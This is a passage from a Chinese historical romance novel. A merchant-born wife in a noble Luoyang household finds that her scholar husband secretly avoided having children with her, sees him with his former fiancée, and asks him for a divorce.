“瞧见自己与郑六娘的区别了吗?世家所娇养的女子,即便隔了时日再回来,身上的气韵依旧。而你便是如何模仿,如何去学,都比不上。”裴秋月顺着姜秋姝的视线看过去,冷嘲热讽道。 顺着风,香炉里的香气很快的传到了她这里,眉宇结成一团。 她不喜很不喜。 不喜用膳时永远燃着的香炉,不喜练字品茶时寥寥升起的青烟,不喜自己那个忽上忽下的心。 这场小宴约莫只办了半日,姜秋姝觉着自己恍若游离在其中,看着郑如珠翩然行走在人群中,那些向来挑剔的妯娌,皆对她露出了赞善的目光。 女子的宴会,无非品茶,燃香,赏花,作画。 郑如珠样样都做的极好,此前她便有着洛阳第一才女的称呼。 她靠着椅子上,若是有人过来,她便颔首微笑,可只有她自己晓得,她的余光多次停留在郑如珠身上。 她与她浅浅的说过些话,谈话间都叫人如沐春风,只从最浅显的来看,郑如珠确实能够叫洛阳不少世家女子所钦佩。 可她……她本不是那样的人,也不想成为那样的人。 姜秋姝捂住心口,她从来便不是什么德才兼备,贤良淑德的人。 *** 郑家人既然回了洛阳,便得办场宴会,昭示着郑家的清白,也是告知洛阳其余的世家,郑家回来了。 不过郑府如今尚在清点中,洗清了冤屈,圣人自得好好补偿,加之宅院好些日子未曾住过人,修缮下来估计得好几个月。 郑明恪将此事拜托给了太夫人,郑家只剩下两人,操持此事困难,仔细一合计便在定国公府办场小宴,等日后郑府修缮妥当,再请世家大族。 小宴定在三日后,府中里里外外忙碌起来。 姜秋姝每每路过花园,便能瞧见来来往往的奴仆,她皆避让开了,外界烦躁的声音,总是通过不同的途径,进入她的耳朵。 烦不胜烦。 姜秋姝本是不想出院子,可有小厮说裴珉寻她,她按照小厮说的位置赶去。 关嬷嬷和锦绣正帮书房里的小厮晒着书,她没叫她们,一人便过去了。 隔着一笼茂密的十里香,亭子里的欢笑声传的很远,姜秋姝立在原地,并没有往前走。 亭子里裴珉与郑如珠对弈,她看不清,只晓得郑如珠快要输了,她撒娇似的叫裴珉让让他,裴珉的举动很明显看得出,他从棋盘中收回了一子。 她站了有一会儿,瞧着瞧着竟也能懂了旁人说的般配。 裴珉与她确实相配的紧。 她晓得今日的一幕,是有人故意引她来的。 何人要她看见的,并不重要,而是她所瞧见的一切皆是真的,无任何的隐藏。 裴珉唇角温和纵容的笑,叫她的心格外的烦杂。 她也并不上前,看了会儿便转身离开。 “阿兄,你瞧什么?”郑如珠疑惑的看着郑明恪的目光,“你也来帮帮我,师兄棋艺那般好,简直不给我留活路。” 郑明恪回过神,应了声是,连忙走了过去。 “早就说过,叫五夫人也过来,师兄这是藏着美娇人不想让我们看?”郑如珠声音打趣。 裴珉又下了子,直接堵住了郑如珠所有的路,“想见随时都可以见,这盘棋既然已经下完了,我还有要事儿便走了。” 裴珉离去,郑如珠捡着棋盘上的棋子,“阿兄与师兄便下次下吧,也怪妹妹想瞧瞧师兄是否有进益,抢了阿兄的位置。” “无碍,随时皆可。”郑明恪笑道。 ~~ 宴会开始时,姜秋姝与裴珉站在一处,今日来了许多的世家人,天潢贵胄,皇家的几位皆来了。 倒是洛阳的一大盛事。 姜秋姝看着太夫人任由郑如珠搀扶着她,慈眉善目的笑着,旁人夸两人好的犹如母女般。 过了会儿,太夫人忽然朝着裴珉招手,裴珉并未立刻去,太夫人再次招手,他才上前。 姜秋姝能够感觉到裴珉迟疑的目光留在她身上,可他还是去了。 太夫人左右两侧,分别站着裴珉和郑如珠。 姜秋姝曾听闻过两人以前的风光,只要同时出现,必会被人称作天作之合,金童玉女便是如此。 姜秋姝坐在自己的位置上,不必如二夫人那般招呼着来往的宾客,三夫人那般照看着膝下的孩子,四夫人那般与熟稔的夫人说着话。 她捻了块儿糕点尝着,人群里三娘和四娘也想要与年岁相仿的玩伴说说话,可被身旁的嬷嬷拘着。 她们相视一眼,皆恨恼的看着姜秋姝。 若非她告状,她们也不必这般被约束着,两人相互看了眼,然后走入人群中,纷纷躲开了跟着她们的嬷嬷。 最中央站着的是裴珉郑如珠还有郑明恪,姜秋姝听着宾客夸赞声,只觉得闷得慌,尤其不少目光停留在她身上,她借口出恭离开了席面。 李长宁看了这边一眼,只在心里叹息了声,身侧的薛凛给她夹了些吃食,她不耐的看了他眼,未曾动那点心。 薛凛神色暗淡,给自己倒了被酒水,一饮而尽。 秋日,定国公府的院子还是常青,菊花还未完全开放,却也有了雅致的景,还有些其他的花卉,可到底比不过她院中种的那些。 姜秋姝走着,忽然来了个提着桶的小厮,迎面撞上了她,裙上沾了水,她便想着回房里换。 那小厮腿脚似乎有异,姜秋姝让关嬷嬷去帮他,自己一人回去便可。 路过花园,往假山处走。 “师兄成了婚,阿耶瞧见了必定欣慰。”郑如珠与裴珉的身影一闪而过,两人边走便说这话。 姜秋姝鬼使神差的躲藏到了假山中。 “你夫人与你般配的很。”郑如珠声音带着笑意。 裴珉未说话,穿着水碧色大袖衫,行动间袖子飘逸,玉带勾勒住劲瘦的腰身,风乍起,郑如珠披帛被吹得险些飘走,他抓住她的披帛,挡在了她前面。 “师兄,多谢了。”等风停,郑如珠盈盈道着谢。 两人相视间,眉目温和,叫旁人无法插入其中。 走动间郑如珠比起方才欢快了些,可下一瞬踩在松动的青石板上,险些摔倒,好在裴珉将她给扶住。 “师兄这般心细,夫人有福了。” 姜秋姝听着他的声音,一点儿一点儿的放大,即便隔得远,那些话依旧传在了她的耳朵了。 “她为人妻,还是太过勉强了些,初入府不懂得礼仪,需得好好教……”裴珉忆起以前的姜秋姝,唇角勾起一抹笑意。 “既然如此师兄,我可嫁与你,替你管好府邸。”郑如珠忽然道。 姜秋姝没在听下去,原来即便她努力了一年多,在裴珉的眼中是这般的模样。 勉强。 姜秋姝咬紧嘴唇,心口像是灌了冷风,她只想离去,不想去瞧他们是如何的天造地设。 果真,是她阻碍了他们。 平妻还是妾?她也阻拦不了他们。 姜秋姝捏紧手,掌心的痛意浅薄,比不得心头的难受,她闭了闭双眸,将即将要出来的泪水给收回去。 过了小桥,身后又传来了道声音。 “等等,”二皇子扬起扇子,走了过来,看了姜秋姝的失态,心头畅快的很,“师母就不想晓得为何成婚时,老师未曾去迎亲?” 姜秋姝未停下脚步,依旧往外走。 “是因为郑家,不对是为了郑六娘,老师为了还郑家清白,迎回郑六娘,出城去抓人。他们分明可以叫别人去,可就是太放在心上,不顾与你的大婚也要离去。” 声音远远传来,姜秋姝依旧未停下,只脸上出现了恍然大悟的样子。 原是如此! 只是比不过旁人重要。 ** 姜秋姝不想理那些纷杂,回了自己的房间,她不想要端起主人家的架势,照顾着来往的客人,没人会当回事儿的。 即便她提早离席,无人会顾她的感受。 她合上疲惫的双眼,靠在小榻上,真的好累,叫人厌烦的累,就连湿了的衣服她都不想换。 忽然房间外,鸽子咕咕的叫着,她走近取下那张纸条,一字一字的看了过去,眼泪顺着眼角滑落。 原来这便是她无子的真相?她盼了许久的血脉之亲,像阿娘所说有孩子父母,便是一个家。 可到头来,什么都没有! 无子便更好给郑如珠腾位置了?是吗? 她趴在桌上由着泪水模糊了视线,竟然忍不住笑了起来。 裴珉啊裴珉,当真能将她的希望全部的打散! 忽然哐当一声,姜秋姝擦了擦眼角,往外面走去。 “叔母,我们不是故意拔了你的花的?就是瞧的好看。”两位小娘子见姜秋姝出来了,神情略带着惊慌。 姜秋姝看了看墙角处的花圃,秋日能开的花本就无几,她寻了许久,才叫这片花圃依旧如春日般绚丽。 可如今花枝断的四处都是,其余好的被三娘和四娘抱住。 许是怕姜秋姝赵她们麻烦。 她们将要跑,三娘往檐下方向撞去,脚勾在花盆上,‘砰’的一声,花盆落到台阶下,碎成几片,被包裹着的根茎也被摔断了,四娘连忙往回跑,抓住三娘的手,从那洛阳红踩了过去。 “哎呀,五叔母,我们不是故意的。”两位小娘子说着歉疚的话,可神态依旧,于她们而言,不过是一盆花。 “五叔母,我们只是想要采几朵花送给郑姨母。”三娘子笑着,“以往郑姨母来瞧五叔常给我们带糖吃。” 两位小娘子相视一眼,她们晓得郑如珠才本该是她们的五叔母。 姜秋姝占了别人的位置,还叫她们被长辈罚,采花是想要送人,也是想要报仇。 两人跑的很快,有奴仆想要阻拦,可因她们的身份,又不敢造次,尤其是她们年纪小,身形流畅,快速的躲开了她们,出了玉珩院。 姜秋姝蹲在地上,捡起洛阳红,可它从根茎处被断成了两截,无力回天。 泥土里滴了一滴又一滴的泪水。 阿娘,你说的不对,即便成了婚,小满也没有家。 她不想要了,什么也不想要了。 第34章 第34章和离 宾客散去,裴珉是在玉珩院用的晚膳。 当熏香的味道传来,餐桌上再美味的食物在她眼中都变得乏味,她抿了抿唇,如同嚼蜡的用了些餐饭。 “娘子胃口不好?”裴珉此时也放下了筷子。 姜秋姝看了眼熏香,“饭菜味道是烟火气,五郎这香,烟雾缭绕,似凡间物,两则又怎可相容。” 说完这话,姜秋姝也有些愣住了,凡尘物怎能与云上人相容。 她想着想着,竟然笑了起来。 他们本就是天差地别,只因阴差阳错。 用的差不多了,裴珉没注意到她的不对劲,说起白日的事来。 “今日是府中的大日子,为何不顾着宾客,反倒回了房间。你是定国公府的五夫人,也该为府中名声着想。”裴珉方才在席上四处寻着她的踪迹,怕她出了事,可听她回了房间,眉宇皱了起来。 名声?又是名声,姜秋姝忍住心底的嘲讽。 “是妾身不懂事了,”姜秋姝说着歉疚的话,可语气却是讥讽的,“可他郑家的宴席,开却开在国公府,用的还是郑家的名义,妾身是何人呢?与郑家又有什么关系?以主人的身份照顾宾客,名不正言不顺的。” 裴珉走近,被她的话所刺,忍不住道:“即便是郑家的宴席,可府中长辈都未离席,你不该离开的!你何时变得这般的任性?” 姜秋姝浅笑出声,“太夫人左右两侧,站着的是五郎和郑如珠,所谓的长辈可给妾身留了颜面?” 太夫人此举是有意的,只是她不知晓为何太夫人会帮裴珉。 分明,府中最不希望裴珉得了势,可如今将郑如珠与裴珉凑成一对,是在将一切拉回正轨? 重新给裴珉聘个高门贵女为妻。 这对裴珉分明是助力。 当初她与裴珉的婚事,太夫人才是最为乐见其成的,没有妻族的帮助,裴珉便离世子之位越远。 裴珉未开口,心里竟然隐隐有几分喜悦,她这模样,是在拈酸吃醋? 他声音放柔了些,“此事是欠缺考量了,不过你若是提前离席,该与我说说,我不想回头不见你的踪迹,担忧。” 担忧? 姜秋姝抬头,看着裴珉又变了副模样,原是来兴师问罪的,如今却又说出了这番话,她其实有些看不懂他。 可她如今都不在乎了。 她对他动过心,刚嫁过来他教了她很多,从不嫌弃,天上月踏入凡尘,与她相近,洛阳第一郎君,世家女子所倾慕的男子,对她独一无人,她禁不住诱惑,对那丝温暖,那张脸有了心思。 可在他严苛的规矩,隔着礼教想要将她压在国公府五夫人的盒子里,她将那颗心放回了肚子。 秋狩时,他们肌肤相亲的亲昵,舍身相救的恩情又叫她隐隐松动,臆想过相敬如宾的生活,可他并不想她怀上他的孩子。 如今又有了郑如珠… “裴珉,”姜秋姝看着他,眸中泛起涟漪,“你想过与我有个孩子吗?” 她看着裴珉眸光有瞬闪烁,哂笑的看着他。 “你没想过!”她根本不用他开口,将一切都揭穿,“每逢五的那碗药,是不是很苦?” 裴珉怔楞住了,他往前走,想要靠近姜秋姝,一向沉稳的人,竟也有了几分慌张。 “不是。” 姜秋姝伸手挡住了他,“裴珉?是否我不配孕育你的子嗣?” 她红着眼眶,可她忍着,不让眼泪掉下,手指捏的紧紧的,疼痛传来,才叫她没那般的懦弱,在他面前掉下眼泪来。 “不是。”裴珉心里慌张不断,隐隐觉得若是不能说清,他便会失去些什么。 “可裴珉你可以与我说清楚的,若是不想要我生下孩子,与我说清楚啊!我不会赖着你的。我不会赖着国公府。”姜秋姝嗓子有些哑,心脏像是被揪住。 若是一切未曾发生就好了,若无那些错,若不是,她以为她怀了他的孩子,他们便不会荒唐的成婚。 裴珉看着她这个模样,袖子下的手发着抖,没想到她知道后,会是这样的反应,只是暂时不想要孩子。 这只是件小事儿,他服药也是不想伤了她身体。 他想要开口,可又不晓得从何说起。 “这不过是小事儿,若是你想要孩子,日后我不服药便是了。”裴珉已经不想要担忧那些未曾发生的事,只想要她重展笑颜。 “每月碰我不过两三次裴珉是不是碰我很恶心?”姜秋姝想起他每每拿戒欲来说事。 可每月两三次不只是戒欲了,怕是嫌恶她不得不碰。 “你怎会这般想?”他哪里是不想碰,而是太想了,他怕在她面前失了控,压制着,压抑着。 欲本就是可怕的。 他每每见她,皆是想将她塞进身体里看她失控,看她只能攀附着他。 可这样的恶,不是她会喜欢的。 裴珉敛住了神色,欲张口却多年的礼教叫他说不出口。 “我很感激你救了我。”姜秋姝浅浅地笑着。 解决了与赵士远的事,她是打算回扬州的,可出了洛阳,便遭遇了劫匪,她昏了过去,醒来时便在荒郊野外,火光闪烁,对面坐着的是裴珉。 他救了她,她很感激。 两人赶了很久的路,才找到了客栈,可那家客栈好似家黑店,为了安全他们装作夫妻,要了一间房。 偏偏那般凑巧又好笑,两人醒来时躺在了一张床上。 分明一人睡在床上,一人睡在榻上,可起夜回来后,人也犯了糊涂,上错了床。 裴珉提出要负责,她也不懂,只以为他们行了夫妻之礼,可她不想嫁给他,她的包裹里还有他给的封口费。 足足一万两。 比起嫁与他人,她更想开家花铺。 可一月后,她发现自己月事未来,误以为有了孩子,才不得不同意了婚事。 那时,她能看得出裴珉眼中隐隐的探究,像是不满她的出尔反尔,可她为了‘孩子’只能嫁给他。 本想着成婚后,便告诉他孩子的事,可婚事定下后,她月事便来了。 老天到底多么能捉弄人! “裴珉,若非我以为自己在客栈后有了你的孩子,我不会嫁给你。”姜秋姝平静的看着他,眼中也没了光彩,只残忍的说出了真相。 “裴珉,你我的婚事都是迫不得已。” 迫不得已吗?原来她没想过嫁给他。 他想过很多的原因,甚至以为她对他有了感情,拒绝了他的婚事后,又后悔了想要嫁给他。 亦或是他最不想要想的,她是为了定国公府世家夫人的身份才嫁给他。 毕竟她也曾狮子大张口,要了一万两封口费,不将赵士远和裴秋月的事说出去。 只是没想到都与他无关,只是迫不得已才嫁给了他。 裴珉摔袖离去,心口灌了冷风。 姜秋姝瞧着他的背影,其实刚才还想要问问他,婚仪上是否为了郑家的事抛下她,可是与否,皆不会叫她有任何的回心转意。 世家肮脏皮上的繁荣,并不适合她。 *** 十五夜间,姜秋姝屏退了身侧所有的人,她坐在书案前,等着一个人的身影。 姜秋姝捡起那半截的洛阳红,重新将它给埋进盆中,根茎断了大半,她不晓得它还能不能活。 这是她的东西,是她不顾众人反对,抱着进定国公府里。 那时的洛阳红枝繁叶茂,只是未曾开过花。 后来,它只开过一次,在这定国公府里,又彻底的枯萎了。 姜秋姝抱着洛阳红,盯着门口,她晓得今日他一定会回来的。 可戊时,亥时,子时,寅时,第一缕晨光透过窗户照到书案上,都没有过他的身影。 这是他第一次破坏了与她的规定。 逢五? 她嘴角笑容荒诞,就像裴秋月说的,谁家夫妻间连行房的日子都规定好了,没有水到渠成,只有职责。 他们做的哪门子的夫妻,分明只是上下峰。 她以前怎就听了这般可笑的话,为了什么?为了孩子,为了有个家,她该醒了,这场梦实在荒谬。 关嬷嬷端着水进入房间了,看着坐在椅子上的姜秋姝,娘子起的这般的早吗? “嬷嬷将水放在一旁,便出去吧,”姜秋姝嗓子干哑,像是许久未曾喝过水,“我自个来便好。” 娘子平日里,也没叫她们伺候,关嬷嬷不容有疑,将水放下,想着叫小厨房给娘子熬些梨汤润润嗓子。 姜秋姝换了件桃红色的常服,裴珉曾说这般颜色不够持重,可她喜欢,春日满地的花皆是那般的鲜艳,她还年轻,喜爱鲜嫩又有何错? 比不得裴珉老了! “五郎呢?”姜秋姝用着早膳,问起了裴珉的踪迹来。 有奴仆想要上前点着熏香,姜秋姝不耐的朝她看了眼,将人叫下去了。 她不喜什么倒胃口的香,以后也都不要了。 关嬷嬷在旁伺候着,也是难得听见姜秋姝问起裴珉的踪迹,以为娘子开了窍,便道:“出府去了,不过五郎临走前说过,会回来与您一道用晚膳。” 姜秋姝继续吃着东西,即使去掉了熏香,她并没有用多少。 关嬷嬷瞧着她近日胃口都不佳,连忙劝道:“娘子您再用些吧!” 姜秋姝想了想,将面前的那碟点心全部吃了,“叫人准备马车,我稍后去马场。” 关嬷嬷有些犹豫,“娘子?不若下次与五郎一道去。” 姜秋姝放下碗,碗与桌子相碰,发出不大不小的响动,将周围伺候的人吓了跳,关嬷嬷神情紧张了些。 姜秋姝才道:“手滑了,未曾吓到嬷嬷吧?” 关嬷嬷摇头,也瞧出娘子神色有异,若是去骑马散散心,五郎应当不会阻拦的吧? “老奴这就去替娘子安排马车。”关嬷嬷立刻出了院子。 姜秋姝勉强用下些点心,腹中并无多少东西,可看着桌上她平日喜食的,却也吃不下了。 她叫底下的人将东西撤了,坐在院子中的石桌上。 她的花圃早就荒芜,被连根拔起的花枯萎,没有了生气,她叫了人将这片花圃处理干净。 花是长在田野的,天生地养,困缚宅院,不晓得那天会丢了命。 姜秋姝坐在马车上,外面是热闹大集市,人来来往往,扛着糖葫芦的大伯沿街吆喝着,姜秋姝喊停了马车,打开车窗,“老伯,来根儿糖葫芦。” 老伯骤然瞧见这么个天仙儿似的小娘子吓了跳,连忙接过银子将糖葫芦递了过去。 “娘子,外边儿的吃食不干净,”关嬷嬷劝诫道,“您若想吃,叫府里的厨子做就是了。” “可别胡说,我家的糖葫芦最干净,酸楂是我一大早去山上摘得,老婆子洗得可仔细了。”老伯连忙解释道。 姜秋姝不顾身边人的反对,咬下了一口,“徐伯的糖葫芦是洛阳城中最干净的,唐婶子洗的时候,我也是看着的,怎会不干净。” 老伯这才认清了眼前之人,“姜…娘子?” 老伯一脸欣喜,“许久未瞧见你了,还当离开洛阳了呢!” 嘴里的酸甜味加之见了熟人,叫她心绪比方才好多了。 “你与赵郎君应当也成婚了吧!”老伯笑盈盈的问起姜秋姝近况来。 定国公府将事情给压住了,百姓中赵士远的事儿并无多少人知道。 “他死了。”姜秋姝又咬了口糖葫芦,神情淡淡。 “呃。”老伯一时语塞,只换了些话安慰姜秋姝,“姻缘一事在天,姜娘子不必伤心,旧的不去新的不来嘛。” 姜秋姝莞尔,点头。 是啊!旧的不去新的不来。 不远处,裴珉抬头就瞧见了这一幕,身后之人见他愣在原地未动,“怎么了?” 郑明恪顺着他的视线看过去,却发现什么都没有。 便是个生人,都能笑得那般的开怀,只对他没了以往的耐心。 “师兄,阿耶离世前,最放心不下的便是如珠了,”郑明恪眼底哀思划过,“我晓得此事是为难了些,可若是你不帮忙,如珠她这辈子都毁了。” 裴珉不答,郑明恪垂眸,从袖子掏出一物递了过去,“这是阿耶给你的信。他身体遭不住营州的严寒,弥留之际硬是不顾我与如珠的劝阻写下的,他死前也是最放心不下你。” 裴珉接过,眼中闪过丝痛。 ~~ 马场上,风光如旧,定国公府的奴仆一瞧见她的身影,便殷勤了迎上前来。 姜秋姝选了前儿骑过的马,还是一如既往的温顺,她摸了摸马儿的头,一跃而上,比起平日悠闲的散步,她快速挥动着鞭子,马儿跑动速度快了不少。 关嬷嬷在旁瞧着惊险,娘子这模样不像是来散心的,反倒是逃命? 关嬷嬷暗道自己想多了,看着马背上姜秋姝神色舒缓多了,她也跟着高兴。 如今府里的传闻越发的离谱了,她晓得娘子心里不痛快,昨夜又是逢五,五郎没回房。 她也不晓得如何劝慰,只是五郎性子别扭,什么事儿都藏在心里,他们这些贴身伺候的,有时都弄不懂。 五郎年幼吃了很多苦,她只希望娘子与五郎能越来越好。 姜秋姝双腿夹紧,秋日有些微凉的风打在她脸上,开阔的马场叫她越发明白想要什么。 她松了松缰绳,只让马儿跑的快些,再快些。 等到了定国公府门口,便有嬷嬷禀告说太夫人想要见她。 她只道,终于来了。 清风苑里,来来往往的奴仆,见了她后皆停住脚步行礼,可远处未曾靠近她的人,神色的怪异,举止的敷衍叫人看得明白。 进入内厅,她朝着最上面的太夫人作揖,行礼,在太夫人未曾发话,她便自顾自起身坐到了另一侧。 太夫人面不改色的叫人上了茶水,瞧着她。 第一面瞧见姜秋姝,她暗笑这般样貌的人,却连自己的男人都守不住,权势在美色面前果然不堪一击。 她气定神闲,并未将姜秋姝放在眼中。 普通百姓而已,定国公府一根儿指头便能压死。 第二面,便是她入府,面如桃红眼儿俏,美的不可方物,比起之前的落魄,国公府的贵气养人,她也是真心希望这般的女子,能够迷住裴珉。 可惜裴珉是个硬心肠的。 反倒是这狐媚子的模样,引得裴承出了格,动了心。 “你今日去马场了?”太夫人声音严肃。 姜秋姝点头。 “前不久,因你骑术伤了大皇孙,如今还敢往马场去,”太夫人首先便朝她发了难,“身为裴家妇,你觉得自己担得起这个身份吗?” 姜秋姝只道:“太夫人身在洛阳,对猎场的事所知甚少,圣人已经还了妾身清白,是旁人陷害的。太夫人这般说,可是觉得圣人未曾调查清楚?” 被姜秋姝将了军,太夫人不悦一闪而过,“五郎与郑六娘是定过亲的。当初郑家遭难太快,退婚书尚未给郑六娘,”太夫人边说边瞧着姜秋姝的反应。 “他们两人”。太夫人欲言又止。 “不知太夫人叫儿媳来此,究竟为何?” 又是讲猎场的事,又是讲裴珉和郑如珠的事,来者不善。 太夫人蹙眉,到底对姜秋姝的不敬,不喜,她直言道:“既然没有退婚书,这门婚事便算不得退了。” “五郎已经娶了妻。”姜秋姝只是看着虚空,陈述这事实。 “是娶了,自古来两女共事一夫不算稀奇。可郑六娘到底是皇家眷顾,又与五郎有前情在先。五郎娘子你觉得该如何是好?”太夫人将问题抛给了她。 “太夫人应当去问五郎,我只一女子掌控不了五郎的主意。”姜秋姝想瞧太夫人究竟是想要做何把戏。 这般的反常,她可不信是为了裴珉着想。 “自古来,两情相悦者情深爱长,旁人插足皆会遭人唾弃。五郎娘子家中曾是花商。商人喜自由,多闯南走北,瞧过不少风景,应当瞧不上这内宅的约束,”太夫人认真的看着她,“五郎娘子,你是个懂事的。是国公府困住了你。” 商人为何走南闯北,不过是为了生计罢了,姜秋姝笑太夫人说的冠冕堂皇,可她还是装作不懂的模样。 “太夫人,妾身不苦,身为五郎夫人,本就该如此的,府中对妾身宽厚的很。”她嘴角暗地里勾勒出讥讽的笑。 太夫人见她不接招,也不藏着掖着了,“你觉得郑六娘入了府,还有你的位置在?识时务者为俊杰。” “妾身只晓得,与五郎先成婚的是妾身。即便郑六娘入了府,妾身不去争就是了。”姜秋姝答道。 始终听不到满意的话,太夫人朝她挥了挥手,让她离开了。 姜秋姝离开清风苑,心中却在思量着。 太夫人的话中便是要她主动让出裴珉夫人的位置,甚至是要她离开定国公府。 她晓得这府中无人喜她,可从未如此明显的表露出来过。 夜间,回了玉珩院,裴珉像是等候多时了,姜秋姝闻着熏香传来,合了合眸子,压住了所有的情绪。 两人用膳时都未说过话,像是前几日的争吵并不存在。 好半晌,桌上的东西并没有动过多少,两人都不用了,叫人撤下去。 底下人连忙收拾好,又迅速端上来了茶水,可他们依旧胆战心惊的,分明两位主子都未说话,可心里升起股凉意。 叫他们不寒而栗。 他们迅速出了房间,并关上门。 姜秋姝抿着茶水,裴珉不开口,她自然不会夺了他的话。 这茶苦的很,可苦过后是浅浅的清香,以往她不会品茶,总觉得比不过糖水有滋有味,如今喝得多了,不必去回忆茶的特点,舌尖的却能感受到滋味。 裴珉看着她,见她泰然自若,眸里的神色逐渐沉了下去,他捏着杯子,“老师有遗命,叫我娶了六娘。” 姜秋姝咽下茶水,听见裴珉的话,姜秋姝所有的情绪皆消失了,反倒是有种尘埃落定的感觉。 无风不起浪,初听见传闻时,她便想到了今日。 好像有双无形的手,按着他们走到了这步。 可再如何,今日这般田地皆是他们自己走的,她捏着掌心,本以为不会有任何的感受,可心口似乎被什么叮了下。 疼但更多是压抑不住的痒,想要将心里的东西彻底的驱逐。 “你意下如何?”裴珉看着她,问道。 她抬眉,脸上露出不解的模样,“是五郎娶,而非妾身娶。如何?五郎问妾身问错人了。” 裴珉看着她神情中的平淡,恍若讨论的并未夫君与旁的女子的事,而只是个无关的人。 他解释道:“即便娶了,也只是占了个位置。我只是奉老师的令照顾她而已,只会将她当做妹妹。” 姜秋姝有些想要吐,这样的话,她听过与赵士远说的差不多‘我即便娶了裴秋月,你依旧会是我的亲人,我的妹妹……’ 原来天下的男子都一样,一样的冠冕堂皇。 “五郎决定好了?”姜秋姝几乎已经麻木,只是问道。 裴珉没有说话,似为难,似在等她的话,又好似别的什么,只是道:“娘子,若你不愿我”。 他的话未完,姜秋姝却不想听了,既然说出口,便是真的想过。 再纠结何用,在她面前装样子吗? “裴珉,不若我给郑如珠腾了位置,当平妻到底是委屈了她。你们两小无猜青梅竹马,若是有情人终成眷属,我也是做了善事一桩。”姜秋姝抿了抿茶水,平静道。 裴珉不可思议的望着她,捏着杯子,里面的茶水倒到桌面,他声音压在嗓子里,似恼怒又似痛苦。 那般容易便说了出来,起初嫁他只是为了莫须有的孩子,想要离开也是他并不想要的成全! 他眸子猩红,害怕听到姜秋姝的下一句,高声制止道:“别说了!” 可终究是没用的,姜秋姝淡淡的笑了起来,将话给说完,“我们和离。” 第35章 第35章离开 裴珉端起茶杯,想要喝桌上的茶水,可茶杯微微晃动,只觉得重如千金,他用另一只手撑住才勉力喝下。 “我只当你是玩笑话。”裴珉干涸的嗓子好受多了,却不想听姜秋姝在说什么,起身欲离开。 “那里来的玩笑话?”姜秋姝脸上是疑惑的模样,“我不过是在成全你和她,行好事罢了!” “我不需要!”裴珉声音发冷,“收回你的话,我当你没说过,郑六娘的事也容后再议。你尚且冷静一番。” 他不信她会这般舍弃了国公府,只不过是气话,等她冷静下来,便不会这般的想了! 裴珉想要离开,一点儿也不想要听下去,姜秋姝却直接挡在他面前。 “五郎,何须冷静,我从未这般的冷静过,这些实乃真心话。”姜秋姝声音格外的平缓,甚至开始给他分析利弊来,“我出身卑微,料理不好国公府的事,郑六娘世家女,这些对她游刃有余。 我任性,做不到该有的端庄,配不上你夫人的位置。郑六娘贤良淑德,洛阳城中人人夸赞。我不通诗文,做不到与五郎琴瑟和鸣,郑六娘样样皆会,与你天造地设。我成不了你的助力,郑六娘“。 “闭嘴!” 她为了和离,竟然能够如此的贬低自己。 他恼怒的看着他,“我看你是未清醒,离了国公府,日后还能嫁给好人家!” 这话刺心又真实,她得以嫁给他,俗话上便是鱼跃龙门,天底下的女子如她这般的,必定毕恭毕敬的伺候公婆,照顾丈夫。 再生下个孩子,日后这绵延不息的世家中也沾染了她的血脉。 她曾也这般想过,可还是不甘心。 她不懂得满足,即便日后再遇不到这般的钟鸣鼎食之家。 女子难道只嫁人一条路?她尚且有许多想做的。 裴珉见姜秋姝未回话,以为是自己戳中了她心中所想,疼痛的心脏收缩了下,语气尽量缓和着,“日后我不再多苛责你,只你莫在犯糊涂了,婚姻之事并未儿儿戏,秦晋之好乃天定的姻缘。郑六娘的事,我欠缺了考量,可她是老师遗女,老师对我恩重如山,我”。 “裴珉,你想多了。无论你娶不娶郑六娘,我皆不会在乎。”姜秋姝不想瞧他如何纠结,只道,“和你成婚,当真是没滋没味的!” 姜秋姝自入了国公府,便活的不自在,他都晓得是在苛责她,可从未为她考量过,替她着想。 即便世家女大都如此,裴珉所想要的妻子是个如仕女图般举止优雅,风华润景。 可她不是,即便前期做着他想要的事,亦受着他的教导,可骨子里的东西不会变。 “你!”裴珉气恼姜秋姝的话,向她靠近,“你说什么!” 姜秋姝哂笑的看着他,“五郎,你当真是是糟糕透了,洛阳城中人人夸赞的太傅大人,可谁能想到在床上不过是匹夫之勇。” 裴珉脸色发黑,他抓住她的手腕,任何男子被这般说,不仅仅只是羞辱了,简直将人给贬到了地底下。 “你怎敢!” 姜秋姝见他恼羞成怒,笑得越发好看。 她还真敢!是他要她说的,那他便听个够吧! “差,太差了!身为你的夫人还得顾忌你的面子,夸赞你的勇猛,实则半点儿乐趣都无!裴珉,我演戏也是极累的。 东风馆任何一男人拉出来,都比你好上千百倍,他们会伺候人,会讨好人,而你?只能叫我睁眼说瞎话。翻来覆去不过只会一种方式,连驴都晓得转弯儿,你却烂透了!” “姜秋姝!”裴珉气的手里的力道收紧,看着面前这个朝他梗着脖子的女子,让他想到了她刚入府的模样。 也是这般浑身都不怕,胆子比天高,是他贫瘠一生中瞧过得最不同的。 与他心目中的妻子相差甚远。 可再次瞧见这般的模样,裴珉心里很复杂的很。 可她的话太刺耳了。 竟然将他和小倌比较!简直简直不成体统! 姜秋姝眼里笑意更甚,“你这样的老古板,根本不晓得何为夫妻情趣,嫁与你的小娘子怕是一辈子都体会不到,鸳鸯颠倒不知天地何物!我现下当真可怜你日后的妻子了!” “闭嘴!”裴珉彻底的恼怒,将她压在了门上,眸里火光往外冒。还未与他和离,便想到了日后之事,她真是会惹怒人。 “姜秋姝,这些年学的圣贤之道,都学到何处去了,这般肮脏的话,是你个女子能说的嘛!” 事到如今,都还要教训她,姜秋姝撇了撇嘴,“裴珉,你太老了,根本配不上我!” 裴珉低头看着她,又怒又难受。 他真的那么糟糕?他不过是按书中来的,怎会?! 姜秋姝又道:“与你做夫妻,当真没趣的很。” 裴珉望进她眼中的认真,心里平静的湖水翻涌起来。 他压低头,拉近和她的距离,“可你这辈子只能是我的妻子。” 什么意思,姜秋姝看着他,分明她说的是最佳的办法,与她和离然后娶了郑如珠,皆大欢喜! “裴珉,别和我逞一时之气。”姜秋姝开始后悔说的那些实话了,怕裴珉因此故意不与她和离。 可若是此次不说,日后又怕没机会。 她亦是有怨气的,李长宁送她的画册上,将此事吹得天花乱坠,可她只是从天黑到天明忍受着他。 累酸,没得乐趣。 “姜秋姝是你在逞气,”裴珉将话还了回去,“若是因六娘的事,我可以解释。” 可她真的不想听,娶与不娶,爱与不爱的,真的是件很累人的事。 “裴珉,我当真想和你和离,你就当行了善事,成全我吧!” 善事?成全? 裴珉看着她,眼中凶狠闪过,便这般想和他和离吗? 他捏着她的下颚,“你做梦!” ~~ 翌日,姜秋姝再次命关嬷嬷准备了马车,她想要去马场。 